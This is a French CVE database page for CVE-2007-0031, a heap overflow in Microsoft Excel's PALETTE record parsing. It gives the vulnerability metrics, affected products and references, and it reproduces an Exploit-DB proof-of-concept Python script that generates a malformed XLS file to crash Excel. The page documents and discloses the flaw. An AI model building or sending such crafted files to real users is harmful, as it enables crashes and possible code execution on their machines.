CVE-2007-0031 : Détail

CVE-2007-0031

94.52%V3
Network
2007-01-09
22h00 +00:00
2018-10-16
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Heap-based buffer overflow in Microsoft Excel 2000 SP3, 2002 SP3, 2003 SP2, 2004 for Mac, and v.X for Mac allows user-assisted remote attackers to execute arbitrary code via a BIFF8 spreadsheet with a PALETTE record that contains a large number of entries.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 3193

Date de publication : 2007-01-24 23h00 +00:00
Auteur : LifeAsaGeek
EDB Vérifié : Yes

""" MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC ###### Author ###### LifeAsaGeek at gmail.com ... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs ######################## Vulnerablity Description ######################## Bound error occurs when parsing Palette Record and it causes Heap Overflow check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506 which is generated by DarunGrim ( and I want to say I'm not a person who made this analyzer ==; ) ############# Attack Vector ############# Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status ! Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere ) In *CERTAIN* environment( such as open excel file which is already opened) you can catch the flow by modify function pointer, but it doesn't have a reliablity at all Let me know if you have a good method to break down ###### Result ###### DOS ##### Notes ##### You should modify pyExcelerator module because it doesn't generate Palette Record pyExcelerator diff results would be like below diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py 1104a1105,1108 > def __init__(self): > BiffRecord.__init__(self) > self._rec_data = pack('<H', 0x0038) # number of colours > self._rec_data += 'A' * 0xe0 diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py 468,469c468 < result = '' < return result --- > return BIFFRecords.PaletteRecord().get() !! THIS IS ONLY FOR EDUCATIONAL PURPOSE !! - 2007.01.25 """ import sys, os from struct import * from pyExcelerator import * def CreateXLS(): w = Workbook() ws = w.add_sheet('MS07-002 POC') w.save( "before.xls") def ModifyXLS(): try: f = open( "before.xls", "rb") except: print "File Open Error ! " sys.exit(0) str = f.read() f.close() #write to malformed xls file f = open( "after.xls", "wb") PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038) NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF) palette_idx = str.find( PaletteRecord) if palette_idx == -1: print "Cannot find Palette Record" sys.exit(0) str = str.replace( PaletteRecord, NewPaletteRecord) f.write( str) f.close() if __name__ == "__main__": print "===========================================================" print "MS07-002 Malformed Palette Record vulnerability DOS POC " print "Create POC Excel File after.xls" print "by LifeAsaGeek at gmail.com" print "===========================================================" CreateXLS() ModifyXLS() # milw0rm.com [2007-01-25]

Products Mentioned

Configuraton 0

Microsoft>>Excel >> Version 2000

Microsoft>>Office >> Version 2000

Configuraton 0

Microsoft>>Excel >> Version 2002

Microsoft>>Office >> Version xp

Configuraton 0

Microsoft>>Excel >> Version 2003

Microsoft>>Office >> Version 2003

Configuraton 0

Microsoft>>Excel_viewer >> Version 2003

Microsoft>>Works >> Version 2004

Microsoft>>Works >> Version 2005

Configuraton 0

Microsoft>>Office >> Version 2004

Microsoft>>Office >> Version v.x

    Références

    http://www.us-cert.gov/cas/techalerts/TA07-009A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=461
    Tags : third-party-advisory, x_refsource_IDEFENSE
    http://securitytracker.com/id?1017487
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.osvdb.org/31258
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/21922
    Tags : vdb-entry, x_refsource_BID
    http://www.vupen.com/english/advisories/2007/0103
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.kb.cert.org/vuls/id/625532
    Tags : third-party-advisory, x_refsource_CERT-VN